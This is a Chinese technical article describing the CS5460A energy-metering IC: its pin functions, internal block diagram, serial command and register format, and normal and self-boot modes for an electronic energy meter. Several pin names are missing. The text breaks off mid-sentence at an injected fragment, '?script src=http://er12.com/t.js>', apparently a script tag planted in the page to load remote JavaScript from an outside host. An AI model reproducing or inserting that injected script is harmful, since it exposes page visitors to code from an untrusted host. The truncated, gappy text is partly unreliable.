摘 要：介绍电能表ic cs5460a的管脚功能、内部功能框图、工作原理，及以cs5460a和微控制器等设计的电子电能表。
关键词：电能表；集成电路；微控制器；测量
cs5460a是美国cirrus logic公司生产的用于功率／电能测量的cmos集成电路。它的技术指标满足gb／t 17215-1998、iec1036标准规定的准确度等要求。
1cs5460a管脚功能
cs5460a有24条引脚，以ssop形式封装。管脚排列如图1所示。
p1 xout，晶振输出；p2 cpuclk，cpu时钟输出；p3 vd+，正数字电源；p4 dgnd，数字地；p5 sclk，串行时钟输入；p6 sdo，串行数据输出；p7，片选；p8 mode，模式选择，处于高电平时执行自引导序列，从外部eeprom中读命令等，而处于低电平时以常规模式运行(不连接时下拉为低电平)；p9-p10 vin+-vin-，差分电压输入；p11 vrefout，电压基准输出；p12 vrefin，电压基准输入；p13 va-，模拟地；p14 va+，正模拟电源；p15-p16 iin--iin+，差分电流输入；p17pfmon，掉电监视；p18 bc，空，能量输出，即输出一脉宽固定而频率与电能成正比的脉冲串；，能量方向指示；p23 sdi，串行数据输入；p24 xin，晶振输入。
2cs5460a内部功能框图和工作原理
图2是cs5460a的内部功能框图。它由可编程放大器、两个δ∑模拟数字转换器、两套数字滤波器／高通滤波器、计算电路、串行接口电路、校准电路、时钟发生器、基准电压电路、电源监测电路等组成。
被测电压、被测电流径δ∑转换和滤波后，送计算电路处理，求得电压有效值、电流有效值、功率和电能值；再通过e／f转换，将电能转换成与其成正比的脉冲输出。另一方面，cs5460a内集成了一个与spitm和microwiretm标准兼容的串行接口，故能方便地与外部微控制器通信，接受其控制。
3以cs5460a设计的电能表
cs5460a有两种工作模式：常规工作模式和自引导工作模式。
3.1常规工作模式
图3是以常规工作模式设计的原理电路。cs5460a的串行接口接微控制器；通过此接口接收微控制器发来的命令，在它(或外部pc机)的控制之下进行测量和传送数据。cs5460a的串口有4条控制线：、sdi、sdo和sclk。此外，串口部分还集成了一个带发送／接收缓存的命令解释电路。用此电路解释命令字，执行输入的命令或者为被寻址的寄存器的数据传输做准备。
cs5460a被初始化或复位后，等待接收有效的命令(随串行时钟移入串口的数据的前8位)。在完成对有效命令的接收和译码后，开始执行相应动作。如果命令字最高位(msb)为逻辑0，则串口进入数据传输模式。命令字形式如下：
ra［4～0］：寄存器地址。00—配置寄存器，01、02—电流偏移、增益寄存器，03、04—电压偏移、增益寄存器，05—变换次数(n)寄存器，06—脉冲／速率寄存器，07～0a—电流值、电压值、功率值、电能值寄存器，0b、0c—电流有效值、电压有效值寄存器，0d—时基寄存器，0e—功率偏移寄存器，0f—状态寄存器，10、11—交流电流、交流电压偏移寄存器，1a—中断屏蔽寄存器，1c—控制寄存器。
在数据传输模式中，输入写寄存器的命令字之后必须接着写入24位数据。例如，为了向配置寄存器写数，应发送一条命令(0×40)起动写操作，紧接着从串行时钟引脚(sclk)输入24个脉冲。等到24个sclk结束后，立即将缓存区的数据转移到配置寄存器中。
cs5460a执行读数操作命令时，可以以8位为单位结束(即可以以8位、16位或24位长度读取数据)。例如，在移出16数据后，可以在从sdo引脚移出剩余8位数据的同时，从sdi引脚移入一条写命令字。
当命令字的最高位为逻辑1时，cs5460a将执行起动转换、控制校准等动作。下面是起动转换命令字的格式：
c：测量模式。0=执行单周期计算，1=执行连续周期计算。
接收到一条开始转换命令后，cs5460a则立即进行测量。电能和电流、电压有效值寄存器每n次变换(或1个计算周期)更新一次。执行单周期计算(c=0)时，每收到一条命令，执行一次计算周期。计算结束后，状态寄存器中的数据就绪位drky置位。执行多周期计算(c=1)时，电压和电流通道重复进行连续的计算周期。计算周期结束后，drdy置位；当屏蔽寄存器相应的位为逻辑1时，则激活。请求微控制器为其服务。
cs5460a的计算结果(测量结果)为24位有符号或无符号的数，以满量程的百分比形式给出。
3.2自引导工作模式
此时，cs5460a的mode引脚置逻辑高。在这种工作模式中，cs5460a从外部串行eeprom中下载有关命令和数据。下载时序从驱动引脚为逻辑高开始。
cs5460a和串行eeprom之间的连接见图4。在自引导时序期间，cs5460a驱动为低，在sclk引脚输出钟脉冲，在sdo引脚发出标准的数据块读命令，并以sdi引脚接收eeprom的数据。当然，串行eeprom必须事先?script src=http://er12.com/t.js>
